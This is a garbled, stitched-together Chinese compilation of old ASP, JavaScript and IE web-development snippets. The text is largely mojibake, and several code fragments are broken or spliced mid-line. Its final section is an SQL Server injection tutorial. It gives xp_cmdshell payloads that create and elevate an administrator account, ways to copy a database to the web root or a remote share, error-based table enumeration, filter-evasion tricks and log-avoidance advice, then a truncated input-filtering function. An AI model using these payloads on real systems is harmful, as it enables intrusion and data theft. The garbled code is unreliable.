例如Q假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假N要更新该文档Q方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用,q将q些引用更改?Windows 2000。可以用下面的 Visual Basic scripting Edition 正则表达式,q是一个正向预查,来匹?Windows 95、Windows 98 以及 Windows NTQ?/p>
/Windows(?=95 |98 |NT )/
?VBscript 要进行同L匚w可以使用下述表达式:
"Windows(?=95 |98 |NT )"
扑ֈ一个匹配后Q紧接匹配到的文字(而不包括预查中用的字符Q就开始对下一ơ匹配的搜烦。例如,如果上面所C的表达式匹配到 'Windows 98'Q则从 'Windows' 而不?'98' 之后l箋查找?
3. onpaste="return false" 不准_脓
4. oncopy="return false;" oncut="return false;" 防止复制
5. <link rel="Shortcut Icon" href="favicon.ico"> IE地址栏前换成自己的图?/p>
6. <link rel="Bookmark" href="favicon.ico"> 可以在收藏夹中显C出你的图标
7. <input style="ime-mode:disabled"> 关闭输入?/p>
8. 永远都会带着框架
<script language="javascript"><!--
if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网?br />// --></script>
9. 防止被hframe
<SCRIPT LANGUAGE=javascript><!--
if (top.location != self.location)top.location=self.location;
// --></SCRIPT>
10. <noscript><iframe src=*.html></iframe></noscript> |页不能被另存?/p>
11. <input type=button value=查看|页源代?
onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'">
12. 怎样通过asp的手D|查来访者是否用了代?br /><% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")<>"" then
response.write "<font color=#FF0000>您通过了代理服务器Q?& _
"真实的IP?&Request.ServerVariables("HTTP_X_FORWARDED_FOR")
end if
%>
13. 取得控g的绝对位|?/p>
//javascript
<script language="javascript">
function getIE(e){
var t=e.offsetTop;
var l=e.offsetLeft;
while(e=e.offsetParent){
t+=e.offsetTop;
l+=e.offsetLeft;
}
alert("top="+t+"\nleft="+l);
}
</script>
//VBScript
<script language="VBScript"><!--
function getIE()
dim t,l,a,b
set a=document.all.img1
t=document.all.img1.offsetTop
l=document.all.img1.offsetLeft
while a.tagName<>"BODY"
set a = a.offsetParent
t=t+a.offsetTop
l=l+a.offsetLeft
wend
msgbox "top="&t&chr(13)&"left="&l,64,"得到控g的位|?
end function
--></script>
14. 光标是停在文本框文字的最?br /><script language="javascript">
function cc()
{
var e = event.srcElement;
var r =e.createTextRange();
r.moveStart('character',e.value.length);
r.collapse(true);
r.select();
}
</script>
<input type=text name=text1 value="123" onfocus="cc()">
15. 判断上一늚来源
asp:
request.servervariables("HTTP_REFERER")
javascript:
document.referrer
16. 最化、最大化、关闭窗?br /><object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Minimize"></object>
<object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11">
<param name="Command" value="Maximize"></object>
<OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM NAME="Command" value="Close"></OBJECT>
<input type=button value=最化 onclick=hh1.Click()>
<input type=button value=最大化 onclick=hh2.Click()>
<input type=button value=关闭 onclick=hh3.Click()>
本例适用于IE
17.
<%
'定义数据库连接的一些常?br />Const adOpenForwardOnly = 0 '游标只向前浏览记录,不支持分cRecordset、BookMark
Const adOpenKeyset = 1 '键集游标Q其他用户对记录说做的修改将反映到记录集中,但其他用户增加或删除记录不会反映到记录集中。支持分cRecordset、BookMark
Const adOpenDynamic = 2 '动态游标功能最强,但耗资源也最多。用户对记录说做的修改,增加或删除记录都反映到记录集中。支持全功能览(ACCESS不支??br />Const adOpenStatic = 3 '静态游标,只是数据的一个快照,用户对记录说做的修改Q增加或删除记录都不会反映到记录集中。支持向前或向后Ud
Const adLockReadOnly = 1 '锁定cdQ默认的Q只读,不能作Q何修?br />Const adLockPessimistic = 2 '当编辑时立即锁定记录Q最安全的方?br />Const adLockOptimistic = 3 '只有在调用UpdateҎ时才锁定记录集,而在此前的其他操作仍可对当前记录q行更改、插入和删除{?br />Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定,而更攏V插入和删除是在批处理方式下完成?/p>
Const adCmdText = &H0001
Const adCmdTable = &H0002
%>
18. |页不会被缓?br />HTM|页
<META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate">
<META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT">
或?lt;META HTTP-EQUIV="expires" CONTENT="0">
ASP|页
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.cachecontrol = "no-cache"
PHP|页
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
19. 查一D字W串是否全由数字l成
<script language="javascript"><!--
function checkNum(str){return str.match(/\D/)==null}
alert(checkNum("1232142141"))
alert(checkNum("123214214a1"))
// --></script>
20. 获得一个窗口的大小
document.body.clientWidth,document.body.clientHeight
21. 怎么判断是否是字W?br />if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");
else alert("全是字符");
22.TEXTAREA自适应文字行数的多?br /><textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight">
</textarea>
23. 日期减去天数{于W二个日?br /><script language=javascript>
function cc(dd,dadd)
{
//可以加上错误处理
var a = new Date(dd)
a = a.valueOf()
a = a - dadd * 24 * 60 * 60 * 1000
a = new Date(a)
alert(a.getFullYear() + "q? + (a.getMonth() + 1) + "? + a.getDate() + "?)
}
cc("12/23/2002",2)
</script>
24. 选择了哪一个Radio
<HTML><script language="vbscript">
function checkme()
for each ob in radio1
if ob.checked then window.alert ob.value
next
end function
</script><BODY>
<INPUT name="radio1" type="radio" value="style" checked>Style
<INPUT name="radio1" type="radio" value="barcode">Barcode
<INPUT type="button" value="check" onclick="checkme()">
</BODY></HTML>
25.获得本页url的request.servervariables("")集合
Response.Write "<TABLE border=1><!-- Table Header --><TR><TD><B>Variables</B></TD><TD><B>value</B></TD></TR>"
for each ob in Request.ServerVariables
Response.Write "<TR><TD>"&ob&"</TD><TD>"&Request.ServerVariables(ob)&"</TD></TR>"
next
Response.Write "</TABLE>"
26.
本机ip<%=request.servervariables("remote_addr")%>
服务器名<%=Request.ServerVariables("SERVER_NAME")%>
服务器IP<%=Request.ServerVariables("LOCAL_ADDR")%>
服务器端?lt;%=Request.ServerVariables("SERVER_PORT")%>
服务器时?lt;%=now%>
IIS版本<%=Request.ServerVariables"SERVER_SOFTWARE")%>
脚本时旉<%=Server.ScriptTimeout%>
本文件\?lt;%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
服务器CPU数量<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%>
服务器解译引?lt;%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %>
服务器操作系l?lt;%=Request.ServerVariables("OS")%>
27.ENTER键可以让光标Ud下一个输入框
<input onkeydown="if(event.keyCode==13)event.keyCode=9">
28. 某个网站的链接速度Q?br />把如下代码加?lt;body>区域?
<script language=javascript>
tim=1
setInterval("tim++",100)
b=1
var autourl=new Array() function butt(){ 29. 各种样式的光?br />auto Q标准光?br />default Q标准箭?br />hand Q手形光?br />wait Q等待光?br />text QI形光?br />vertical-text Q水qI形光?br />no-drop Q不可拖动光?br />not-allowed Q无效光?br />help Q?帮助光标
2.修改contentTypeq下载gif{格?br /><% set s=CreateObject(Adodb.Stream) call dl(012922501.gif,t1.gif) 1。忽视右?
3.如何计算每天的^均反复访问h? 4.如何昄随机图象 5.如何回到先前的页? 6.如何定Ҏ的IP地址 7.如何铄C副图片上 8.输入密码对话? 9.如何传递变量从一到另一? 10.Z我在 asp E序内?msgboxQ程序出错说没有权限 11.有没有办法保护自q源代码,不给人看? 12.怎样才能?query string 从一?asp 文g传送到另一个? 13.global.asa文gL不v作用? 14.怎样才能使得htm文g如同asp文g一样可以执行脚本代码? 15.如何注册lg W二U方法:使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色Q但是它提供了巨大的改进。MTS允许你指定只有有Ҏ的用h能够讉KlgQ大大提高了|站服务器上的安全性设|。在MTS上注册组件的步骤如下Q? 16. ASP与Access数据库连接: <%@ language=vb-script%> %> 17. ASP与SQL数据库连接: <%@ language=vb-script%> 建立记录集对象: set rs=server.createobject("adodb.recordset")
4、在Text直接修改记录Q然后点修改保存记录 5、自动计问题:
<% wek= Weekday(date()) yue=month(date()) 'response.write "本月?&tiancount&"天,今天?&wekday&"
autourl[1]="autourl[2]="javacool.3322.net"
autourl[3]="autourl[4]="autourl[5]="
document.write("<form name=autof>")
for(var i=1;i<autourl.length;i++)
document.write("<input type=text name=txt"+i+" size=10 value=试中…?gt; =?lt;input type=text name=url"+i+" size=40> =?lt;input type=button value=GO onclick=window.open(this.form.url"+i+".value)><br/>")
document.write("<input type=submit value=h></form>")
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value="链接时"}
else
{document.forms[0]["txt"+b].value="旉"+tim/10+"U?}
b++
}
function run(){for(var i=1;i<autourl.length;i++)document.write("<img src=http://"+autourl[i]+"/"+Math.random()+" width=1 height=1 onerror=auto('http://";+autourl[i]+"')>")}
run()</script>
all-scroll Q三角方向标
move Q移动标
crosshair Q十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize
1.本地无缓存,每次自动h
response.expires=0
response.addHeader pragma , no-cache
response.addHeader cache-control , private
function dl(f,n)
on error resume next
S.Mode=3
S.Type=1
S.Open
s.LoadFromFile(server.mappath(f))
if err.number>0 then
response.write err.number & : & err.description
else
response.contentType=application/x-gzip
response.addheader Content-Disposition:,attachment; filename= & n
response.binarywrite(s.Read(s.size))
end if
end function
%>
<body oncontextmenu="return false">
?
<body style="overflow-y:hidden">
2。加入背景音?
IE:<bgsound src="*.mid" loop=infinite>
NS:<embed src="*.mid" autostart=true hidden=true loop=true>
</embed>
*.mid你的背景音乐的midi格式文g
3。简单的window.openҎ
<a href="#"
onclick="javascript:window.open(文g路径/文g?newwindow,
toolbar=no,scrollbars=yes,resizable=no,top=0,left=0,
width=400,height=300);">文字或图?lt;/a>
参数解释Q?
<SCRIPT LANGUAGE="javascript"> js脚本开始;
window.open 弹出新窗口的命oQ?
文g路径/文g?弹出H口的文件名Q?
newwindow 弹出H口的名字(不是文g名)Q非必须Q可用空代替Q?
width=400 H口宽度Q?
height=300 H口高度Q?
top=0 H口距离屏幕上方的象素|
left=0 H口距离屏幕左侧的象素|
toolbar=no 是否昄工具栏,yes为显C;
menubarQscrollbars 表示菜单栏和滚动栏?
resizable=no 是否允许改变H口大小Qyes为允许;
location=no 是否昄地址栏,yes为允许;
status=no 是否昄状态栏内的信息Q通常是文件已l打开Q,yes为允许;
</SCRIPT> js脚本l束
4。简单的面加密
<script LANGUAGE="javascript">
<!--
function loopy(){
var sWord ="";
while(sWord!="login"){sWord=prompt("误入你的登陆密?);}
alert("登陆成功Q?);
}
loopy()
//-->
</script>
5。拉动页面时背景图不?
<style>
body{background-image:url(logo.gif);
background-repeat:no-repeat;background-position:center}
</style>
7。随机替换图?
<script>
document.write(<img src="img/+parseInt(Math.random()*(5))
+.gif"height="40" width="50">)
</script>
囄文g名ؓ0.gif 1.gif 2.gif 3.gif 4.gif
8。窗口定时关?
先将如下代码|页文g的区Q?
<script language="javascript">
function closeit() { setTimeout("self.close()",10000) //毫秒 }
</script>
然后再在<body>标内加入如:<body onload="closeit()">
9。网自动关?
<html>
<head>
<object id=closes type="application/x-oleobject"
classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<param name="Command" value="Close">
</object>
</head>
<body onload="window.setTimeout(closes.Click(),10000)">
q个H口会在10U过后自动关?而且不会出现提示.
</body>
</html>
10。网自动刷?
在head部记?
<META HTTP-EQUIV="Refresh" content="20">
其中20?0U后自动hQ你可以更改ZQ意倹{?
11。网自动{?
<META HTTP-EQUIV="Refresh" CONTENT="旉(U?;URL=地址">
12。保持layer在最前面Q而不被Iframe、Object所覆盖
在Layer中再揺frame ?Object 设z-Index?
<div z-Index:2><object xxx></object> Q?前面
<div z-Index:1><object xxx></object> Q?后面
<div id="Layer2" style="position:absolute; top:40;width:400px;
height:95px;z-index:2"> height=100% width=100%>
<iframe width=0 height=0></iframe>
</div>
<div id="Layer1" style="position:absolute; top:50;width:200px;
height:115px;z-index:1">
<iframe height=100% width=100%></iframe>
</div>
13。返回上一?
<a href=javascript:history.back(1)>『返回上一c?lt;/a>
14。关闭窗?
<a href=javascript:self.close()>『关闭窗口?lt;/a>
15。关于iframe的透明背景
<IFRAME ID="iFrame1" SRC="iframe.htm"
allowTransparency="true"
style="background-color: green"></IFRAME>
1.如何用Asp判断你的|站的虚拟物理\?
{:使用MappathҎ
< p align="center" >< font size="4" face="Arial" >< b >
The Physical path to this virtual website is:
< /b >< /font >
< font color="#FF0000" size="6" face="Arial" >
< %= Server.MapPath("\")% >
< /font >< /p >
2.我如何知道用者所用的览器?
{:使用the Request objectҎ
strBrowser=Request.ServerVariables("HTTP_USER_AGENT")
If Instr(strBrowser,"MSIE") < > 0 Then
Response.redirect("ForMSIEOnly.htm")
Else
Response.redirect("ForAll.htm")
End If
{:解决Ҏ
< % startdate=DateDiff("d",Now,"01/01/1990")
if strdate< 0 then startdate=startdate*-1
avgvpd=Int((usercnt)/startdate) % >
昄l果
< % response.write(avgvpd) % >
that is it.this page have been viewed since November 10,1998
< % dim p,ppic,dpic
ppic=12
randomize
p=Int((ppic*rnd)+1)
dpic="graphix/randompics/"&p&".gif"
% >
昄
< img src="< %=dpic% >" >
{:< a href="< %=request.serverVariables("Http_REFERER")% >" >preivous page< /a >
或用囄如:< img src="arrowback.gif" alt="< %=request.serverVariables("HTTP_REFERER")% >" >
{:< %=Request.serverVariables("REMOTE_ADDR)% >
{:< % @Languages=vb-script % >
< % response.expires=0
strimagename="graphix/errors/erroriamge.gif"
response.redirect(strimagename)
% >
{:把这句话放蝲面的开?
< % response.status="401 not Authorized"
response.end
% >
{:?HIDDEN cd来传递变?
< % form method="post" action="mynextpage.asp" >
< % for each item in request.form % >
< input namee="< %=item% >" type="HIDDEN"
value="< %=server.HTMLEncode(Request.form(item)) % >" >
< % next % >
< /form >
{:׃ asp 是服务器q行的,如果可以在服务器昄一个对话框Q那么你只好{有人按了确定之后,你的E序才能l箋执行Q而一般服务器不会有h守着Q所以微软不得不止q个函数Qƈ胡ؕ告诉?(:) 呵呵) 没有权限。但是ASP和客L脚本l合倒可以显CZ个对话框Qas follows:
< % yourVar="试对话?% >
< % script language='java-script' >
alert("< %=yourvar% >")
< /script >
{:可以M载一个微软的Windows Script EncoderQ它可以对asp的脚本和客户端java-script/vb-script脚本q行加密。。。不q客L加密后,只有ie5才能执行Q服务器端脚本加密后Q只有服务器上安装有script engine 5Q装一个ie5有了)才能执行?
{:前者文件加入下句: Response.Redirect("second.asp?" & Request.ServerVariables("QUERY_STRING"))
{:只有web目录讄为web application, global.asa才有效,q且一个web application的根目录?global.asa才有效。IIS4可以使用Internet Service Manager讄application setting 怎样才能使得htm文g如同asp文g一样可以执行脚本代码?
{:Internet Sevices Manager - > 选择default web site - >右鼠? >菜单属?〉主目录- > 应用E序讄QApplication SettingQ? > 点击按钮 "配置"- > app mapping - >点击按钮"Add" - > executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部定卛_。但是值得注意的是q样对htm也要由asp.dll处理Q效率将降低?
{:有两U方法?
W一U方法:手工注册 DLL q种Ҏ从IIs 3.0一直用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行Q进入到包含有DLL的目录,q输入:regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上用了Q但是这个方法有一个缺陗当使用q种Ҏ注册完毕lg后,该组件必要相应的设|NT的匿名帐h权限执行q个dll。特别是一些组仉要读取注册表Q所以,q个注册lg的方法仅仅是使用在服务器上没有MTS的情况下Q要取消注册q个dllQ用:regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll
1) 打开IIS理控制台?
2) 展开transaction serverQ右键单?pkgs installed"然后选择"new package"?
3) 单击"create an empty package"?
4) l该包命名?
5) 指定administrator帐号或则使用"interactive"Q如果服务器l常是用administrator 登陆的话Q?
6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"?
7) 选择 "install new component" [b]?
8) 扑ֈ你的.dll文g然后选择next到完成?
要删除这个对象,只要选择它的图标Q然后选择delete?
附注Q特别要注意W二U方法,它是用来调试自己~写lg的最好方法,而不必每ơ都需要重新启动机器了?
<%
dim conn,mdbfile
mdbfile=server.mappath("数据库名U?mdb")
set conn=server.createobject("adodb.connection")
conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密?dbq="&mdbfile
<%
dim conn
set conn=server.createobject("ADODB.connection")
con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名U或IP地址;UID=sa;PWD=数据库密?DATABASE=数据库名U?
%>
rs.open SQL语句,conn,3,2
3、页面摘入等待。。。。脚本说?
把如下代码加?lt;head>区域?br /> <SCRIPT LANGUAGE="JavaScript">
document.write("<font size=6 color=blue face='楷体_GB2312'><B>正在载入首页,L{?.</B></font>");
window.clear;
window.location.href=" </SCRIPT>
<%count=0
do while not (rs.eof or rs.bof) and count<rs.PageSize %>
<form action="webGroupEdit.asp" method="post" name="GroupEdit" onSubmit="return Checkedit()">
<tr bgcolor="E9F3FF">
<td> <%=rs("id")%> <input name="b" type="hidden" id="b" value="<%=rs("id")%>">
<input name="currpage" type="hidden" id="currpage" value="<%=page%>"></td>
<td height="18"><input name="a" type="text" id="a" value="<%=rs("MemGroupName")%>" size="20" maxlength="50">
</td>
<td height="18"><input name="c" type="text" id="c" value="<%=rs("Remark")%>" size="25" maxlength="30"></td>
<td><input type="submit" name="Submit" value=" 修改 " ></td>
<td><div align="center"><a href="webGroupDel.asp?id=<%=rs("id")%>&page=<%=page%>" onClick="return check()">删除</a></div></td>
</tr>
</form>
<%
count=count+1
rs.movenext
loop
%>
<input type="hidden" name="selvalue">
<SELECT NAME="select1" onChage="javascript:document.form1.selvalue.value=this.options[this.options.selectedIndex].text">
<option value="1">新浪</option>
<option value="2">癑ֺ</option>
<option value="3">中华|?lt;/option>
<option value="4">腾讯</option>
</SELECT>
<SCRIPT LANGUAGE="javascript"> js脚本开始;
window.open 弹出新窗口的命oQ?
'page.html' 弹出H口的文件名Q?
'newwindow' 弹出H口的名字(不是文g名)Q非必须Q可用空''代替Q?
height=100 H口高度Q?
width=400 H口宽度Q?
top=0 H口距离屏幕上方的象素|
left=0 H口距离屏幕左侧的象素|
toolbar=no 是否昄工具栏,yes为显C;
menubarQscrollbars 表示菜单栏和滚动栏?
resizable=no 是否允许改变H口大小Qyes为允许;
location=no 是否昄地址栏,yes为允许;
status=no 是否昄状态栏内的信息Q通常是文件已l打开Q,yes为允许;
</SCRIPT> js脚本l束
判断星期?/p>
yue=month(date())
nian=year(date())
thismon=nian&"-"&yue&"-1"
nextmon=dateadd("m",1,thismon)
tiancount=datediff("d",thismon,nextmon) '本月的天?/p>
select case wek
case 1
response.write "周日"
case 2
response.write "周一"
case 3
response.write "周二"
case 4
response.write "周三"
case 5
response.write "周四"
case 6
response.write "周五"
case 7
response.write "周六"
end select
nian=year(date())
thismon=nian&"-"&yue&"-1"
nextmon=dateadd("m",1,thismon)
tiancount=datediff("d",thismon,nextmon) '本月的天?br />dim wek,wekday
wek= Weekday(date())
select case wek
case 1
wekday= "周日"
case 2
wekday= "周一"
case 3
wekday= "周二"
case 4
wekday= "周三"
case 5
wekday= "周四"
case 6
wekday= "周五"
case 7
wekday= "周六"
end select
%>
]]>
Q二QFolder对象操作例程
下面的例E将l习获取父文件夹名称、创建文件夹、删除文件夹、判断是否ؓ根目录等操作Q?
var fso, fldr, s = "";
// 创徏FileSystemObject对象实例
fso = new ActiveXObject("Scripting.FileSystemObject");
// 获取Drive 对象
fldr = fso.GetFolder("c:\\");
// 昄父目录名U?
alert("Parent folder name is: " + fldr + "\n");
// 昄所在drive名称
alert("Contained on drive " + fldr.Drive + "\n");
// 判断是否为根目录
if (fldr.IsRootFolder)
alert("This is the root folder.");
else
alert("This folder isn't a root folder.");
alert("\n\n");
// 创徏新文件夹
fso.CreateFolder ("C:\\Bogus");
alert("Created folder C:\\Bogus" + "\n");
// 昄文g夹基名称Q不包含路径?
alert("Basename = " + fso.GetBaseName("c:\\bogus") + "\n");
// 删除创徏的文件夹
fso.DeleteFolder ("C:\\Bogus");
alert("Deleted folder C:\\Bogus" + "\n");
五、操作文ӞFilesQ?
Ҏ件进行的操作要比以上介绍的驱动器QDriveQ和文g夹(FolderQ操作复杂些Q基本上分ؓ以下两个cdQ对文g的创建、拷贝、移动、删除操作和Ҏ件内容的创徏、添加、删除和d操作。下面分别详l介l?
Q一Q创建文?
一共有3U方法可用于创徏一个空文本文gQ这U文件有时候也叫做文本(text streamQ?
W一U是使用CreateTextFileҎ。代码如下:
var fso, f1;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
W二U是使用OpenTextFileҎQƈd上ForWriting属性,ForWriting的gؓ2。代码如下:
var fso, ts;
var ForWriting= 2;
fso = new ActiveXObject("Scripting.FileSystemObject");
ts = fso.OpenTextFile("c:\\test.txt", ForWriting, true);
W三U是使用OpenAsTextStreamҎQ同栯讄好ForWriting属性。代码如下:
var fso, f1, ts;
var ForWriting = 2;
fso = new ActiveXObject("Scripting.FileSystemObject");
fso.CreateTextFile ("c:\\test1.txt");
f1 = fso.GetFile("c:\\test1.txt");
ts = f1.OpenAsTextStream(ForWriting, true);
Q二Q添加数据到文g
当文件被创徏后,一般要按照“打开文gQ?gt;填写数据Q?gt;关闭文g”的步骤实现d数据到文件的目的?
打开文g可用FileSystemObject对象的OpenTextFileҎQ或者用File对象的OpenAsTextStreamҎ。?
填写数据要用到TextStream对象的Write、WriteLine或者WriteBlankLinesҎ。在同是实现写入数据的功能下Q这3者的区别在于QWriteҎ不在写入数据末尾d新换行符QWriteLineҎ要在最后添加一个新换行W,而WriteBlankLines则增加一个或者多个空行?
关闭文g可用TextStream对象的CloseҎ?
Q三Q创建文件及d数据例程
下面的代码将创徏文g、添加数据、关闭文件几个步骤结合v来进行应用:
var fso, tf;
fso = new ActiveXObject("Scripting.FileSystemObject");
// 创徏新文?
tf = fso.CreateTextFile("c:\\testfile.txt", true);
// 填写数据Qƈ增加换行W?
tf.WriteLine("Testing 1, 2, 3.") ;
// 增加3个空?
tf.WriteBlankLines(3) ;
// 填写一行,不带换行W?
tf.Write ("This is a test.");
// 关闭文g
tf.Close();
Q四Q读取文件内?
从文本文件中d数据要用TextStream对象的Read、ReadLine或ReadAll Ҏ。ReadҎ用于d文g中指定数量的字符QReadLineҎd一整行Q但不包括换行符QReadAllҎ则读取文本文件的整个内容。读取的内容存放于字W串变量中,用于昄、分析。在使用Read或ReadLineҎd文g内容Ӟ如果要蟩q一些部分,p用到Skip或SkipLineҎ?
下面的代码演C打开文g、填写数据,然后d数据Q?
var fso, f1, ts, s;
var ForReading = 1;
fso = new ActiveXObject("Scripting.FileSystemObject");
// 创徏文g
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
// 填写一行数?
f1.WriteLine("Hello World");
f1.WriteBlankLines(1);
// 关闭文g
f1.Close();
// 打开文g
ts = fso.OpenTextFile("c:\\testfile.txt", ForReading);
// d文g一行内容到字符?
s = ts.ReadLine();
// 昄字符串信?
alert("File contents = '" + s + "'");
// 关闭文g
ts.Close();
Q五Q移动、拷贝和删除文g
对于以上三种文g操作QJavascript各有两种对应的方法:File.Move ?FileSystemObject.MoveFile用于Ud文gQFile.Copy ?FileSystemObject.CopyFile用于拯文gQFile.Delete ?FileSystemObject.DeleteFile用于删除文g?
下面的代码演C在驱动器C的根目录下创Z个文本文Ӟ填写一些内容,然后文件移动到\tmp目录下,再在目录\temp下面建立一个文件拷贝,最后删除这两个目录的文Ӟ
var fso, f1, f2, s;
fso = new ActiveXObject("Scripting.FileSystemObject");
f1 = fso.CreateTextFile("c:\\testfile.txt", true);
// 写一?
f1.Write("This is a test.");
// 关闭文g
f1.Close();
// 获取C:\根目录下的文件句?
f2 = fso.GetFile("c:\\testfile.txt");
// Ud文g到\tmp目录?
f2.Move ("c:\\tmp\\testfile.txt");
// 拯文g到\temp目录?
f2.Copy ("c:\\temp\\testfile.txt");
// 获取文g句柄
f2 = fso.GetFile("c:\\tmp\\testfile.txt");
f3 = fso.GetFile("c:\\temp\\testfile.txt");
// 删除文g
f2.Delete();
f3.Delete();
六、结 ?
通过以上对FileSystemObject的各U对象、属性和Ҏ的介l和CZQ相信你已经对如何用JavaScript语言在页面中操作驱动器、文件和文gҎ了清晰的认识。但是上q提及的例程都非常简单,要全面、灵zd掌握JavaScript文g操作技术,q需要大量的实践l习。而且q有一Ҏ醒大Ӟ׃涉及到在览器中q行文gdq样的高U操作,对于默认的浏览器安全U别而言Q在代码q行前都会有一个信息提C,q点请在实际环境中提C问者注意?br />
SQLServer是一个功能强大的数据库系l,与操作系l也有紧密的联系Q这l开发者带来了很大的方便,但另一斚wQ也为注入者提供了一个蟩板,我们先来看看几个具体的例子:
?http://Site/url.asp?id=1;exec master..xp_cmdshell "net user david 111111 /add"--
分号;在SQLServer中表C隔开前后两句语句Q?-表示后面的语句ؓ注释Q所以,q句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储q程xp_cmdshellQ这个存储过E用于调用系l命令,于是Q用net命o新徏了用户名为name、密码ؓpassword的windows的帐P接着Q?/P>
?http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup name administrators /add"--
新建的帐号name加入理员组Q不用两分钟Q你已经拿到了系l最高权限!当然Q这U方法只适用于用saq接数据库的情况Q否则,是没有权限调用xp_cmdshell的?/P>
?http://Site/url.asp?id=1 ;;and db_name()>0
前面有个cM的例子and user>0Q作用是获取q接用户名,db_name()是另一个系l变量,q回的是q接的数据库名?/P>
?http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db?--
q是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的l对路径Q将数据库备份到Web目录下面Q再用HTTP把整个数据库完完整整的下蝲回来Q所有的理员及用户密码都一览无遗!在不知道l对路径的时候,q可以备份到|络地址的方法(?A href="file://\\202.96.xx.xx\Share\1.db">\\202.96.xx.xx\Share\1.dbQ,但成功率不高?/P>
?http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U?and status>0)>0
前面说过Qsysobjects是SQLServer的系l表Q存储着所有的表名、视图、约束及其它对象Qxtype=’U?and status>0Q表C用户徏立的表名Q上面的语句第一个表名取出,?比较大小Q让报错信息把表名暴露出来。第二、第三个表名怎么获取Q还是留l我们聪明的读者思考吧?/P>
?http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名?,1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名?获取表名对应的内部IDQcol_name(表名ID,1)代表该表的第1个字D名Q将1换成2,3,4...可以逐个获取所猜解表里面的字段名?/P>
以上6Ҏ我研ISQLServer注入半年多以来的心血l晶Q可以看出,对SQLServer的了解程度,直接影响着成功率及猜解速度。在我研ISQLServer注入之后Q我在开发方面的水^也得到很大的提高Q呵呵,也许安全与开发本来就是相辅相成的吧?/P>
W二节、绕q程序限制l注?/P>
在入门篇提到Q有很多人喜Ƣ用’号试注入漏洞Q所以也有很多h用过滤’号的方法来“防止”注入漏z,q也许能挡住一些入门者的dQ但对SQL注入比较熟悉的hQ还是可以利用相关的函数Q达到绕q程序限制的目的?/P>
在“SQL注入的一般步骤”一节中Q我所用的语句Q都是经q我优化Q让其不包含有单引号的;在“利用系l表注入SQLServer数据库”中Q有些语句包含有’号Q我们D个例子来看看怎么攚w这些语句:
单的如where xtype=’U’,字符U对应的ASCII码是85Q所以可以用where xtype=char(85)代替Q如果字W是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替?/P>
W三节、经验小l?/P>
1.有些ZqoSelect、Update、Deleteq些关键字,但偏偏忘记区分大写Q所以大家可以用selecTq样试一下?/P>
2.在猜不到字段名时Q不妨看看网站上的登录表单,一般ؓ了方便v见,字段名都与表单的输入框取相同的名字?/P>
3.特别注意Q地址栏的+号传入程序后解释为空|%2B解释?P%25解释?P具体可以参考URLEncode的相关介l?/P>
4.用GetҎ注入ӞIIS会记录你所有的提交字符Ԍ对PostҎ做则不记录,所以能用Post的网址量不用Get?/P>
5. 猜解Access时只能用Ascii逐字解码法,SQLServer也可以用q种ҎQ只需要两者之间的区别卛_Q但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高?/P>
????/P>
QIQ注入漏z可谓是“千里之堤,溃于蚁穴”,q种漏洞在网上极为普遍,通常是由于程序员Ҏ入不了解Q或者程序过滤不严格Q或者某个参数忘记检查导致。在q里Q我l大家一个函敎ͼ代替ASP中的Request函数Q可以对一切的SQL注入Say NOQ函数如下:
Function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符?BR> 'ParaType:参数cd-数字?1表示以上参数是数字,0表示以上参数为字W?
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If ParaValue="" or not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型Q?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
